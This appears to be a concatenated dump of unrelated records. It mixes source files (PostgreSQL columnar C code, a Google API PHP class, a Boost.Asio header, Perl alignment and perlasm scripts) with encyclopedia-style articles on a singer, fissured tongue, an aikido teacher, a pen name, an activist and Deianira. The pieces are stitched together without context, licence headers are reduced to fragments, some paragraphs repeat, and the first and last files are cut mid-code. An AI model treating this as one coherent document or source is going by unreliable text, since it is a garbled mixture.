else
{
conjunction = make_andclause(clauses);
}
bool useTableNamePrefix = false;
bool showImplicitCast = false;
return deparse_expression((Node *) conjunction, context,
useTableNamePrefix, showImplicitCast);
}
/*
* ColumnarProjectedColumnsStr generates projected column string for
* explain output.
*/
static const char *
ColumnarProjectedColumnsStr(List *context, List *projectedColumns)
{
if (list_length(projectedColumns) == 0)
{
return "<columnar optimized out all columns>";
}
bool useTableNamePrefix = false;
bool showImplicitCast = false;
return deparse_expression((Node *) projectedColumns, context,
useTableNamePrefix, showImplicitCast);
}
/*
* ColumnarVarNeeded returns a list of Var objects for the ones that are
* needed during columnar custom scan.
* Throws an error if finds a Var referencing to an attribute not supported
* by ColumnarScan.
*/
static List *
ColumnarVarNeeded(ColumnarScanState *columnarScanState)
{
ScanState *scanState = &columnarScanState->custom_scanstate.ss;
List *varList = NIL;
Bitmapset *neededAttrSet = ColumnarAttrNeeded(scanState);
int bmsMember = -1;
while ((bmsMember = bms_next_member(neededAttrSet, bmsMember)) >= 0)
{
Relation columnarRelation = scanState->ss_currentRelation;
/* neededAttrSet already represents 0-indexed attribute numbers */
Form_pg_attribute columnForm =
TupleDescAttr(RelationGetDescr(columnarRelation), bmsMember);
if (columnForm->attisdropped)
{
ereport(ERROR, (errcode(ERRCODE_UNDEFINED_COLUMN),
errmsg("cannot explain column with attrNum=%d "
"of columnar table %s since it is dropped",
bmsMember + 1,
RelationGetRelationName(columnarRelation))));
}
else if (columnForm->attnum <= 0)
{
/*
* ColumnarAttrNeeded should have already thrown an error for
* system columns. Similarly, it should have already expanded
* whole-row references to individual attributes.
*/
ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED),
errmsg("cannot explain column with attrNum=%d "
"of columnar table %s since it is either "
"a system column or a whole-row "
"reference", columnForm->attnum,
RelationGetRelationName(columnarRelation))));
}
/*
* varlevelsup is used to figure out the (query) level of the Var
* that we are investigating. Since we are dealing with a particular
* relation, it is useless here.
*/
Index varlevelsup = 0;
CustomScanState *customScanState = (CustomScanState *) columnarScanState;
CustomScan *customScan = (CustomScan *) customScanState->ss.ps.plan;
Index scanrelid = customScan->scan.scanrelid;
Var *var = makeVar(scanrelid, columnForm->attnum, columnForm->atttypid,
columnForm->atttypmod, columnForm->attcollation,
varlevelsup);
varList = lappend(varList, var);
}
return varList;
}
/*
* set_deparse_context_planstate is a compatibility wrapper for versions 13+.
*/
static List *
set_deparse_context_planstate(List *dpcontext, Node *node, List *ancestors)
{
PlanState *ps = (PlanState *) node;
return set_deparse_context_plan(dpcontext, ps->plan, ancestors);
}
``` |
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\ToolResults;
class ToolOutputReference extends \Google\Model
{
protected $creationTimeType = Timestamp::class;
protected $creationTimeDataType = '';
protected $outputType = FileReference::class;
protected $outputDataType = '';
protected $testCaseType = TestCaseReference::class;
protected $testCaseDataType = '';
/**
* @param Timestamp
*/
public function setCreationTime(Timestamp $creationTime)
{
$this->creationTime = $creationTime;
}
/**
* @return Timestamp
*/
public function getCreationTime()
{
return $this->creationTime;
}
/**
* @param FileReference
*/
public function setOutput(FileReference $output)
{
$this->output = $output;
}
/**
* @return FileReference
*/
public function getOutput()
{
return $this->output;
}
/**
* @param TestCaseReference
*/
public function setTestCase(TestCaseReference $testCase)
{
$this->testCase = $testCase;
}
/**
* @return TestCaseReference
*/
public function getTestCase()
{
return $this->testCase;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(ToolOutputReference::class, 'Google_Service_ToolResults_ToolOutputReference');
``` |
Charles Billingsley (born January 7, 1970 in Clovis, NM) is a Preacher, christian singer, worship leader, songwriter, speaker and author.
Career
Billingsley began his solo career the day after he graduated from Samford University in Birmingham, Alabama in 1992. After two years, he joined the contemporary Christian music group NewSong. In 1994, they released People Get Ready featuring "Arise My Love." That album had four number one hits. After two years with NewSong, Charles left to pursue a solo career, averaging 200 concerts a year.
In 2002 Billingsley became the worship pastor at Thomas Road Baptist Church, as well as the artist-in-residence at Liberty University. In 2005, Billingsley moved to San Diego, California to work with Dr. David Jeremiah at the Shadow Mountain Community Church, home of Turning Point Ministries.
After two years in San Diego, Billingsley returned to Thomas Road Baptist Church where he resumed his position of worship leader and served on the advisory council of the Center for Worship at Liberty University. In 2011, he helped launch a new publishing company, Red Tie Music, that is a partnership with Thomas Road Baptist Church and Liberty University. On May 14, 2017 Billingsley announced he would be returning to Shadow Mountain Community Church to work with Dr. David Jeremiah as worship pastor.
In July 2017, Billingsley became the worship pastor at Shadow Mountain Community Church. Billingsley still travels throughout the year as a worship leader for the Women of Joy, Gridiron Men and Celebrator's conferences as well as a solo concert artist.
In February 2019, Billingsley announced his departure from Shadow Mountain Community Church to pursue his concert ministry full-time.
Returned to Thomas Road Baptist Church.
Discography
References
External links
1970 births
Living people
American performers of Christian music
Christians from California
Christians from New Mexico
Christians from Virginia
Songwriters from New Mexico
21st-century American male singers
21st-century American singers
American male songwriters |
```c++
//
// windows/basic_stream_handle.hpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
//
// file LICENSE_1_0.txt or copy at path_to_url
//
#ifndef BOOST_ASIO_WINDOWS_BASIC_STREAM_HANDLE_HPP
#define BOOST_ASIO_WINDOWS_BASIC_STREAM_HANDLE_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include <boost/asio/detail/config.hpp>
#include <boost/asio/windows/basic_overlapped_handle.hpp>
#if defined(BOOST_ASIO_HAS_WINDOWS_STREAM_HANDLE) \
|| defined(GENERATING_DOCUMENTATION)
#include <boost/asio/detail/push_options.hpp>
namespace boost {
namespace asio {
namespace windows {
/// Provides stream-oriented handle functionality.
/**
* The windows::basic_stream_handle class provides asynchronous and blocking
* stream-oriented handle functionality.
*
* @par Thread Safety
* @e Distinct @e objects: Safe.@n
* @e Shared @e objects: Unsafe.
*
* @par Concepts:
* AsyncReadStream, AsyncWriteStream, Stream, SyncReadStream, SyncWriteStream.
*/
template <typename Executor = any_io_executor>
class basic_stream_handle
: public basic_overlapped_handle<Executor>
{
public:
/// The type of the executor associated with the object.
typedef Executor executor_type;
/// Rebinds the handle type to another executor.
template <typename Executor1>
struct rebind_executor
{
/// The handle type when rebound to the specified executor.
typedef basic_stream_handle<Executor1> other;
};
/// The native representation of a handle.
#if defined(GENERATING_DOCUMENTATION)
typedef implementation_defined native_handle_type;
#else
typedef boost::asio::detail::win_iocp_handle_service::native_handle_type
native_handle_type;
#endif
/// Construct a stream handle without opening it.
/**
* This constructor creates a stream handle without opening it.
*
* @param ex The I/O executor that the stream handle will use, by default, to
* dispatch handlers for any asynchronous operations performed on the stream
* handle.
*/
explicit basic_stream_handle(const executor_type& ex)
: basic_overlapped_handle<Executor>(ex)
{
}
/// Construct a stream handle without opening it.
/**
* This constructor creates a stream handle without opening it. The handle
* needs to be opened or assigned before data can be sent or received on it.
*
* @param context An execution context which provides the I/O executor that
* the stream handle will use, by default, to dispatch handlers for any
* asynchronous operations performed on the stream handle.
*/
template <typename ExecutionContext>
explicit basic_stream_handle(ExecutionContext& context,
typename constraint<
is_convertible<ExecutionContext&, execution_context&>::value,
defaulted_constraint
>::type = defaulted_constraint())
: basic_overlapped_handle<Executor>(context)
{
}
/// Construct a stream handle on an existing native handle.
/**
* This constructor creates a stream handle object to hold an existing native
* handle.
*
* @param ex The I/O executor that the stream handle will use, by default, to
* dispatch handlers for any asynchronous operations performed on the stream
* handle.
*
* @param handle The new underlying handle implementation.
*
* @throws boost::system::system_error Thrown on failure.
*/
basic_stream_handle(const executor_type& ex, const native_handle_type& handle)
: basic_overlapped_handle<Executor>(ex, handle)
{
}
/// Construct a stream handle on an existing native handle.
/**
* This constructor creates a stream handle object to hold an existing native
* handle.
*
* @param context An execution context which provides the I/O executor that
* the stream handle will use, by default, to dispatch handlers for any
* asynchronous operations performed on the stream handle.
*
* @param handle The new underlying handle implementation.
*
* @throws boost::system::system_error Thrown on failure.
*/
template <typename ExecutionContext>
basic_stream_handle(ExecutionContext& context,
const native_handle_type& handle,
typename constraint<
is_convertible<ExecutionContext&, execution_context&>::value
>::type = 0)
: basic_overlapped_handle<Executor>(context, handle)
{
}
#if defined(BOOST_ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION)
/// Move-construct a stream handle from another.
/**
* This constructor moves a stream handle from one object to another.
*
* @param other The other stream handle object from which the move
* will occur.
*
* @note Following the move, the moved-from object is in the same state as if
* constructed using the @c basic_stream_handle(const executor_type&)
* constructor.
*/
basic_stream_handle(basic_stream_handle&& other)
: basic_overlapped_handle<Executor>(std::move(other))
{
}
/// Move-assign a stream handle from another.
/**
* This assignment operator moves a stream handle from one object to
* another.
*
* @param other The other stream handle object from which the move will occur.
*
* @note Following the move, the moved-from object is in the same state as if
* constructed using the @c basic_stream_handle(const executor_type&)
* constructor.
*/
basic_stream_handle& operator=(basic_stream_handle&& other)
{
basic_overlapped_handle<Executor>::operator=(std::move(other));
return *this;
}
#endif // defined(BOOST_ASIO_HAS_MOVE) || defined(GENERATING_DOCUMENTATION)
/// Write some data to the handle.
/**
* This function is used to write data to the stream handle. The function call
* will block until one or more bytes of the data has been written
* successfully, or until an error occurs.
*
* @param buffers One or more data buffers to be written to the handle.
*
* @returns The number of bytes written.
*
* @throws boost::system::system_error Thrown on failure. An error code of
* boost::asio::error::eof indicates that the connection was closed by the
* peer.
*
* @note The write_some operation may not transmit all of the data to the
* peer. Consider using the @ref write function if you need to ensure that
* all data is written before the blocking operation completes.
*
* @par Example
* To write a single data buffer use the @ref buffer function as follows:
* @code
* handle.write_some(boost::asio::buffer(data, size));
* @endcode
* See the @ref buffer documentation for information on writing multiple
* buffers in one go, and how to use it with arrays, boost::array or
* std::vector.
*/
template <typename ConstBufferSequence>
std::size_t write_some(const ConstBufferSequence& buffers)
{
boost::system::error_code ec;
std::size_t s = this->impl_.get_service().write_some(
this->impl_.get_implementation(), buffers, ec);
boost::asio::detail::throw_error(ec, "write_some");
return s;
}
/// Write some data to the handle.
/**
* This function is used to write data to the stream handle. The function call
* will block until one or more bytes of the data has been written
* successfully, or until an error occurs.
*
* @param buffers One or more data buffers to be written to the handle.
*
* @param ec Set to indicate what error occurred, if any.
*
* @returns The number of bytes written. Returns 0 if an error occurred.
*
* @note The write_some operation may not transmit all of the data to the
* peer. Consider using the @ref write function if you need to ensure that
* all data is written before the blocking operation completes.
*/
template <typename ConstBufferSequence>
std::size_t write_some(const ConstBufferSequence& buffers,
boost::system::error_code& ec)
{
return this->impl_.get_service().write_some(
this->impl_.get_implementation(), buffers, ec);
}
/// Start an asynchronous write.
/**
* This function is used to asynchronously write data to the stream handle.
* The function call always returns immediately.
*
* @param buffers One or more data buffers to be written to the handle.
* Although the buffers object may be copied as necessary, ownership of the
* underlying memory blocks is retained by the caller, which must guarantee
* that they remain valid until the handler is called.
*
* @param handler The handler to be called when the write operation completes.
* Copies will be made of the handler as required. The function signature of
* the handler must be:
* @code void handler(
* const boost::system::error_code& error, // Result of operation.
* std::size_t bytes_transferred // Number of bytes written.
* ); @endcode
* Regardless of whether the asynchronous operation completes immediately or
* not, the handler will not be invoked from within this function. On
* immediate completion, invocation of the handler will be performed in a
* manner equivalent to using boost::asio::post().
*
* @note The write operation may not transmit all of the data to the peer.
* Consider using the @ref async_write function if you need to ensure that all
* data is written before the asynchronous operation completes.
*
* @par Example
* To write a single data buffer use the @ref buffer function as follows:
* @code
* handle.async_write_some(boost::asio::buffer(data, size), handler);
* @endcode
* See the @ref buffer documentation for information on writing multiple
* buffers in one go, and how to use it with arrays, boost::array or
* std::vector.
*
* @par Per-Operation Cancellation
* This asynchronous operation supports cancellation for the following
* boost::asio::cancellation_type values:
*
* @li @c cancellation_type::terminal
*
* @li @c cancellation_type::partial
*
* @li @c cancellation_type::total
*/
template <typename ConstBufferSequence,
BOOST_ASIO_COMPLETION_TOKEN_FOR(void (boost::system::error_code,
std::size_t)) WriteHandler
BOOST_ASIO_DEFAULT_COMPLETION_TOKEN_TYPE(executor_type)>
BOOST_ASIO_INITFN_AUTO_RESULT_TYPE(WriteHandler,
void (boost::system::error_code, std::size_t))
async_write_some(const ConstBufferSequence& buffers,
BOOST_ASIO_MOVE_ARG(WriteHandler) handler
BOOST_ASIO_DEFAULT_COMPLETION_TOKEN(executor_type))
{
return async_initiate<WriteHandler,
void (boost::system::error_code, std::size_t)>(
initiate_async_write_some(this), handler, buffers);
}
/// Read some data from the handle.
/**
* This function is used to read data from the stream handle. The function
* call will block until one or more bytes of data has been read successfully,
* or until an error occurs.
*
* @param buffers One or more buffers into which the data will be read.
*
* @returns The number of bytes read.
*
* @throws boost::system::system_error Thrown on failure. An error code of
* boost::asio::error::eof indicates that the connection was closed by the
* peer.
*
* @note The read_some operation may not read all of the requested number of
* bytes. Consider using the @ref read function if you need to ensure that
* the requested amount of data is read before the blocking operation
* completes.
*
* @par Example
* To read into a single data buffer use the @ref buffer function as follows:
* @code
* handle.read_some(boost::asio::buffer(data, size));
* @endcode
* See the @ref buffer documentation for information on reading into multiple
* buffers in one go, and how to use it with arrays, boost::array or
* std::vector.
*/
template <typename MutableBufferSequence>
std::size_t read_some(const MutableBufferSequence& buffers)
{
boost::system::error_code ec;
std::size_t s = this->impl_.get_service().read_some(
this->impl_.get_implementation(), buffers, ec);
boost::asio::detail::throw_error(ec, "read_some");
return s;
}
/// Read some data from the handle.
/**
* This function is used to read data from the stream handle. The function
* call will block until one or more bytes of data has been read successfully,
* or until an error occurs.
*
* @param buffers One or more buffers into which the data will be read.
*
* @param ec Set to indicate what error occurred, if any.
*
* @returns The number of bytes read. Returns 0 if an error occurred.
*
* @note The read_some operation may not read all of the requested number of
* bytes. Consider using the @ref read function if you need to ensure that
* the requested amount of data is read before the blocking operation
* completes.
*/
template <typename MutableBufferSequence>
std::size_t read_some(const MutableBufferSequence& buffers,
boost::system::error_code& ec)
{
return this->impl_.get_service().read_some(
this->impl_.get_implementation(), buffers, ec);
}
/// Start an asynchronous read.
/**
* This function is used to asynchronously read data from the stream handle.
* The function call always returns immediately.
*
* @param buffers One or more buffers into which the data will be read.
* Although the buffers object may be copied as necessary, ownership of the
* underlying memory blocks is retained by the caller, which must guarantee
* that they remain valid until the handler is called.
*
* @param handler The handler to be called when the read operation completes.
* Copies will be made of the handler as required. The function signature of
* the handler must be:
* @code void handler(
* const boost::system::error_code& error, // Result of operation.
* std::size_t bytes_transferred // Number of bytes read.
* ); @endcode
* Regardless of whether the asynchronous operation completes immediately or
* not, the handler will not be invoked from within this function. On
* immediate completion, invocation of the handler will be performed in a
* manner equivalent to using boost::asio::post().
*
* @note The read operation may not read all of the requested number of bytes.
* Consider using the @ref async_read function if you need to ensure that the
* requested amount of data is read before the asynchronous operation
* completes.
*
* @par Example
* To read into a single data buffer use the @ref buffer function as follows:
* @code
* handle.async_read_some(boost::asio::buffer(data, size), handler);
* @endcode
* See the @ref buffer documentation for information on reading into multiple
* buffers in one go, and how to use it with arrays, boost::array or
* std::vector.
*
* @par Per-Operation Cancellation
* This asynchronous operation supports cancellation for the following
* boost::asio::cancellation_type values:
*
* @li @c cancellation_type::terminal
*
* @li @c cancellation_type::partial
*
* @li @c cancellation_type::total
*/
template <typename MutableBufferSequence,
BOOST_ASIO_COMPLETION_TOKEN_FOR(void (boost::system::error_code,
std::size_t)) ReadHandler
BOOST_ASIO_DEFAULT_COMPLETION_TOKEN_TYPE(executor_type)>
BOOST_ASIO_INITFN_AUTO_RESULT_TYPE(ReadHandler,
void (boost::system::error_code, std::size_t))
async_read_some(const MutableBufferSequence& buffers,
BOOST_ASIO_MOVE_ARG(ReadHandler) handler
BOOST_ASIO_DEFAULT_COMPLETION_TOKEN(executor_type))
{
return async_initiate<ReadHandler,
void (boost::system::error_code, std::size_t)>(
initiate_async_read_some(this), handler, buffers);
}
private:
class initiate_async_write_some
{
public:
typedef Executor executor_type;
explicit initiate_async_write_some(basic_stream_handle* self)
: self_(self)
{
}
executor_type get_executor() const BOOST_ASIO_NOEXCEPT
{
return self_->get_executor();
}
template <typename WriteHandler, typename ConstBufferSequence>
void operator()(BOOST_ASIO_MOVE_ARG(WriteHandler) handler,
const ConstBufferSequence& buffers) const
{
// If you get an error on the following line it means that your handler
// does not meet the documented type requirements for a WriteHandler.
BOOST_ASIO_WRITE_HANDLER_CHECK(WriteHandler, handler) type_check;
detail::non_const_lvalue<WriteHandler> handler2(handler);
self_->impl_.get_service().async_write_some(
self_->impl_.get_implementation(), buffers,
handler2.value, self_->impl_.get_executor());
}
private:
basic_stream_handle* self_;
};
class initiate_async_read_some
{
public:
typedef Executor executor_type;
explicit initiate_async_read_some(basic_stream_handle* self)
: self_(self)
{
}
executor_type get_executor() const BOOST_ASIO_NOEXCEPT
{
return self_->get_executor();
}
template <typename ReadHandler, typename MutableBufferSequence>
void operator()(BOOST_ASIO_MOVE_ARG(ReadHandler) handler,
const MutableBufferSequence& buffers) const
{
// If you get an error on the following line it means that your handler
// does not meet the documented type requirements for a ReadHandler.
BOOST_ASIO_READ_HANDLER_CHECK(ReadHandler, handler) type_check;
detail::non_const_lvalue<ReadHandler> handler2(handler);
self_->impl_.get_service().async_read_some(
self_->impl_.get_implementation(), buffers,
handler2.value, self_->impl_.get_executor());
}
private:
basic_stream_handle* self_;
};
};
} // namespace windows
} // namespace asio
} // namespace boost
#include <boost/asio/detail/pop_options.hpp>
#endif // defined(BOOST_ASIO_HAS_WINDOWS_STREAM_HANDLE)
// || defined(GENERATING_DOCUMENTATION)
#endif // BOOST_ASIO_WINDOWS_BASIC_STREAM_HANDLE_HPP
``` |
Fissured tongue is a benign condition characterized by deep grooves (fissures) in the dorsum of the tongue. Although these grooves may look unsettling, the condition is usually painless. Some individuals may complain of an associated burning sensation.
It is a relatively common condition, with a prevalence of between 6.8% and 11% found also in children. The prevalence of the condition increases significantly with age, occurring in 40% of the population after the age of 40.
Presentation
The clinical appearance is considerably varied in both the orientation, number, depth and length of the fissure pattern. There are usually multiple grooves/furrows 2–6 mm in depth present. Sometimes there is a large central furrow, with smaller fissures branching perpendicularly. Other patterns may show a mostly dorsolateral position of the fissures (i.e. sideways running grooves on the tongue's upper surface). Some patients may experience burning or soreness.
Associated conditions
Fissured tongue is seen in Melkersson–Rosenthal syndrome (along with facial nerve paralysis and granulomatous cheilitis). It is also seen in most patients with Down syndrome, in association with geographic tongue, in patients with oral manifestations of psoriasis, and in healthy individuals. Fissured tongue is also sometimes a feature of Cowden's syndrome.
Cause
The cause is unknown, but is most likely a genetic trait. Aging and environmental factors may also contribute to the appearance.
Prevalence
It is a relatively common condition, with an estimated prevalence of 6.8%–11%. Males are more commonly affected. The condition may be seen at any age, but generally affects older people more frequently. The condition also generally becomes more accentuated with age. The prevalence of the condition increases significantly with age, occurring in 40% of the population after the age of 40.
References
External links
Tongue disorders
Conditions of the mucous membranes |
```prolog
#!/usr/bin/env perl
use strict;
use Getopt::Long;
use FindBin qw($Bin);
use File::Temp qw(tempdir tempfile);
use POSIX;
my $PID = $$;
$SIG{TERM} = $SIG{INT} = $SIG{QUIT} = sub { die; };
my $BINDIR = "$Bin/bin";
my $SRC;
my $TRG;
my $OUTPUT = "lex";
my $THREADS = 8;
my $PARALLEL = 0;
my $HELP;
GetOptions(
"b|bindir=s" => \$BINDIR,
"s|source=s" => \$SRC,
"t|target=s" => \$TRG,
"o|output=s" => \$OUTPUT,
"threads=i" => \$THREADS,
"parallel" => \$PARALLEL,
"h|help" => \$HELP,
);
if($HELP) {
print "Usage: perl $0 -b bindir -s corpus.src -t corpus.tgt [-o outputprefix] [--threads 8] [--parallel]\n";
exit 0;
}
die "--bindir arg is required" if not defined $BINDIR;
die "-s|--source arg is required" if not defined $SRC;
die "-t|--target arg is required" if not defined $TRG;
die "-o|--output arg is required" if not defined $OUTPUT;
for my $app (qw(fast_align atools extract_lex)) {
die "Could not find $app in $BINDIR" if not -e "$BINDIR/$app";
}
my $TEMPDIR = tempdir(CLEANUP => 1);
my (undef, $CORPUS) = tempfile(DIR => $TEMPDIR);
my (undef, $ALN_S2T) = tempfile(DIR => $TEMPDIR);
my (undef, $ALN_T2S) = tempfile(DIR => $TEMPDIR);
my (undef, $ALN_GDF) = tempfile(DIR => $TEMPDIR);
execute("paste $SRC $TRG | sed 's/\\t/ ||| /' > $CORPUS");
my @COMMANDS = (
"OMP_NUM_THREADS=$THREADS $BINDIR/fast_align -vdo -i $CORPUS > $ALN_S2T",
"OMP_NUM_THREADS=$THREADS $BINDIR/fast_align -vdor -i $CORPUS > $ALN_T2S"
);
my @PIDS;
for my $c (@COMMANDS) {
if ($PARALLEL) {
my $pid = fork();
if (!$pid) {
execute($c);
exit(0);
} else {
push(@PIDS, $pid);
print "Forked process $pid\n";
}
} else {
execute($c);
}
}
if ($PARALLEL) {
waitpid($_, 0) foreach(@PIDS);
}
execute("$BINDIR/atools -c grow-diag-final -i $ALN_S2T -j $ALN_T2S > $ALN_GDF");
execute("$BINDIR/extract_lex $TRG $SRC $ALN_GDF $OUTPUT.s2t $OUTPUT.t2s");
sub execute {
my $command = shift;
logMessage("Executing:\t$command");
my $ret = system($command);
if ($ret != 0) {
logMessage("Command '$command' finished with return status $ret");
logMessage("Aborting and killing parent process");
kill(2, $PID);
die;
}
}
sub logMessage {
my $message = shift;
my $time = POSIX::strftime("%m/%d/%Y %H:%M:%S", localtime());
my $log_message = $time."\t$message\n";
print STDERR $log_message;
}
``` |
Kanshū Sunadomari (Kanji: 砂泊 諴秀 Hiragana: すなどまり かんしゅう 1923 – November 13, 2010) was a Japanese aikido teacher who was an uchideshi to the founder of aikido, Morihei Ueshiba. He founded the aikido style Manseikan Aikido.
Biography
Sunadomari was born on the island of Kikaijima in Kagoshima Prefecture, Japan and in his teens became an uchideshi of Morihei Ueshiba, the founder of aikido. His live-in apprenticeship under the founder took place during World War II, and he also spent a brief period at the Aikikai Hombu Dojo after the war. On October 23, 1953 he gave the first public demonstration of aikido in Kyūshū. The following January he opened up the Manseikan dojo (万生館) on the premises of the Tettori Shrine (手取神社) in the heart of Kumamoto City. His aikido spread throughout Kyūshū to cities such as Fukuoka, Kagoshima, Nagasaki, and Miyazaki. During this time, the number of practitioners rose to over 20,000 with over 3,000 people reaching the level of black belt.
In 1961, at the age of 38, Sunadomari received the rank of 9th [dan]. Sunadomari dedicated himself to the teaching of aikido in Kyūshū while based in Kumamoto.
Sunadomari comes from a family of devout believers in Ōmoto, the religion on which Ueshiba based the spiritual underpinnings of aikido, and the Sunadomari family maintained a close relationship with the founder until his death. Kanemoto Sunadomari (elder brother of Kanshu) studied under the founder in the early 1930s and published the first biography of the Founder in 1969 entitled Aikido Kaiso Morihei Ueshiba. A newer version of this book was later published under the title Bu no Shinjin. Fukiko (Mitsue) Sunadomari (elder sister of Kanshu) was a close personal confidante of the founder until his death and was also a high ranking practitioner of aikido.
After Ueshiba's death in 1969, Sunadomari founded his own independent style in Kumamoto City and began his further study of the spirit of aikido. In 1999, he renamed his style Aiki Manseido (合氣万生道) symbolizing his conviction to help spread world peace by transmitting the spirit of the founder across the world through physical technique. The "do" in Manseido is the same as in Aikido, referring to "the way", rather than the "kan" in Manseikan that can be translated as mansion or castle. Manseido translates as "the way of giving life to all things" or "the way for all people." On January 11, 2008, Sunadomari chose to return to using the name Manseikan Aikido (万生館合氣道) to pay homage to the Founder and to re-emphasize his organization's dedication to the study and manifestation of the Founder's philosophy.
Practitioners of his style recite the Spirit of Aikido (合氣道の精神) before beginning each practice : "Aiki is Love... it is through the spirit of protective love for all things that we perfect our life's mission... ". Practice in Manseikan Aikido consists of a set of flowing warm-up exercises (準備運動), a number of paired movements that train both body movement (taisabaki, 体裁き) and breath-power(呼吸力), practice of basic technique (kihon waza, 基本技), as well as paired warm-down exercises (sei no undo, 背の運動). Training is further supplemented with practice using the wooden sword (bokken,木剣) and staff (jō ,杖). Sunadomari is known for his emphasis on kokyu ryoku (breath power; 呼吸力) and his extremely soft and powerful technique. He is widely acclaimed for his dynamic performance in the First Friendship Demonstration which was held in Tokyo in 1985 and became one of the most famous modern aikido demonstrations captured on film. He has written several books, most of which have never been translated from their original Japanese. In 2004, his book Enlightenment through Aikido (Aikido de Satoru, 合気道で悟る) became the first to be released in English translation.
Translated works
Enlightenment Through Aikido (2004) - , translation by Dennis Clark based on the 2002 book Aikido de Satoru
References
External links
English website of Manseikan Aikidō
Description of Enlightenment through Aikido by Aikido Journal website
Aikido Encyclopedia entry for Kanshu Sunadomari
Interview of Kanshu Sunadomari in 1984 Part I
Interview of Kanshu Sunadomari in 1984 Part II
Brief interview of Kanshu Sunadomari in 2005
Interview with Aikido Shihan Kanshu Sunadomari – Part 1
Interview with Aikido Shihan Kanshu Sunadomari – Part 2
Japanese aikidoka
1923 births
2010 deaths |
Jason Frost is an in-house pseudonym used by two authors, Raymond Obstfeld (born 1952) and Rich Rainey, who wrote the six book series called The Warlord published by Zebra Mens Adventure, a division of Zebra Books that is ultimately a subsidiary of Kensington Publishing Corporation. The books were written and published from 1983 to 1987 .
Bibliography
The Warlord series
Pulp fiction genre. After twin earthquakes have broken California off from the US mainland and surrounded it with an impenetrable radioactive zone, a large group of people are cut off from everyone else with no single unifying government. Through the travels of a thirty-something survivor, the books describe the sociological situation in the aftermath.
Books #1-5 were written by Obstfeld while #6 was written by Rainey.
The Warlord (1983)
The Cutthroat (1984)
Badland (1984)
PrisonLand (1985)
Terminal Island (1985)
Killers Keep (1987)
Novels
Invasion U.S.A. (1985) , novelization of film
References
External links
American male writers
20th-century pseudonymous writers
Collective pseudonyms
Writing duos |
Joy Powell (born March 5, 1962) is a former community activist and Pentecostal pastor from Rochester, New York, whose career consisted of fighting against gang violence and police misconduct.
After allegedly being raped by a correctional officer in 1995 and having the authorities refuse to investigate her complaint she began coordinating local protests and calls for police accountability which she routinely organized until her arrest in 2006.
During her career Powell ran local charitable events in the area and operated a youth homeless shelter out of a salon she owned. She also started organizing candlelight vigils for victims of neighborhood violence after her son was killed as a bystander in a gang shooting in 2000. After the shooting of a mentally ill man, Powell's activism led both to the creation of an "Emergency Response Team" to deal with mental health situations and additional training for Rochester Police Department officers to handle the mentally ill.
In 2006, Powell was arrested and charged with felony assault and burglary after a pawn shop broker gave police a description matching Powell as one of the people who sold him stolen property. Powell maintains the charges were not only false, but also politically motivated due to her attempt to have criminal charges filed with the Attorney General of New York against several deputies of the Rochester Police Department. Powell alleged the deputies assaulted and threatened her after she tried to file a complaint with internal affairs that a member of her congregation was the victim of racially motivated harassment by the police.
Several members of Powell's congregations testified at trial that Powell was leading a Bible study class at her church at the time of the pawn shop's burglary and assault.
Powell was found guilty by an all-white jury in 2006 and sentenced to 16 years in prison.
In 2009, while serving her sentence for assault and burglary, Powell was arrested for the June 6, 1992, shooting death of James Rutledge after a Jailhouse informant claimed to witness the decades-old homicide and identified Powell as being involved. In 2011, Powell was convicted of second-degree murder based on the informant's testimony and received a sentence of 25 years to life. Powell was set to serve the sentence to upon the completion of her 16-year sentence for assault and burglary. Powell is currently being held at The Bedford Hills Correctional Facility for Women and will be eligible for parole in the year 2045 when she is 84 years old.
Many social activists and Black Power groups believe Powell's case is a clear example of injustice.
References
1962 births
Living people
American Pentecostal pastors
American people convicted of murder
Dissidents
Place of birth missing (living people)
American people convicted of burglary
American people convicted of assault
Protestant religious leaders convicted of crimes
African-American activists
Political prisoners in the United States
20th-century American people
21st-century American people |
In Greek mythology, Deianira (/ˌdeɪ.əˈnaɪrə/; Ancient Greek: Δηϊάνειρα, Dēiáneira, or Δῃάνειρα, Dēáneira, [dɛːiáneːra]) was the name of three individuals whose name meant as "man-destroyer" or "destroyer of her husband".
Deianira, daughter of Lycaon, son of the giant Aezeius, one of the first kings of the Peloponnesus. She married Pelasgus, son of Niobe and Zeus and, according to some, she became by him mother of the impious Lycaon.
Deianira, daughter of Oeneus of Calydon and wife of Heracles.
Deianira, an Amazon killed by Heracles during his quest for the girdle of Hippolyta.
Notes
References
Antoninus Liberalis, The Metamorphoses of Antoninus Liberalis translated by Francis Celoria (Routledge 1992). Online version at the Topos Text Project.
Diodorus Siculus, The Library of History translated by Charles Henry Oldfather. Twelve volumes. Loeb Classical Library. Cambridge, Massachusetts: Harvard University Press; London: William Heinemann, Ltd. 1989. Vol. 3. Books 4.59–8. Online version at Bill Thayer's Web Site
Diodorus Siculus, Bibliotheca Historica. Vol 1-2. Immanel Bekker. Ludwig Dindorf. Friedrich Vogel. in aedibus B. G. Teubneri. Leipzig. 1888-1890. Greek text available at the Perseus Digital Library.
Dionysus of Halicarnassus, Roman Antiquities. English translation by Earnest Cary in the Loeb Classical Library, 7 volumes. Harvard University Press, 1937-1950. Online version at Bill Thayer's Web Site
Dionysius of Halicarnassus, Antiquitatum Romanarum quae supersunt, Vol I-IV. . Karl Jacoby. In Aedibus B.G. Teubneri. Leipzig. 1885. Greek text available at the Perseus Digital Library.
Hesiod, Catalogue of Women from Homeric Hymns, Epic Cycle, Homerica translated by Evelyn-White, H G. Loeb Classical Library Volume 57. London: William Heinemann, 1914. Online version at theio.com
Amazons (Greek mythology) |
```prolog
#!/usr/bin/env perl
$flavour = shift;
$0 =~ m/(.*[\/\\])[^\/\\]+$/; $dir=$1;
( $xlate="${dir}ppc-xlate.pl" and -f $xlate ) or
( $xlate="${dir}perlasm/ppc-xlate.pl" and -f $xlate) or
die "can't locate ppc-xlate.pl";
open STDOUT,"| $^X $xlate $flavour ".shift || die "can't call $xlate: $!";
if ($flavour=~/64/) {
$CMPLI="cmpldi";
$SHRLI="srdi";
$SIGNX="extsw";
} else {
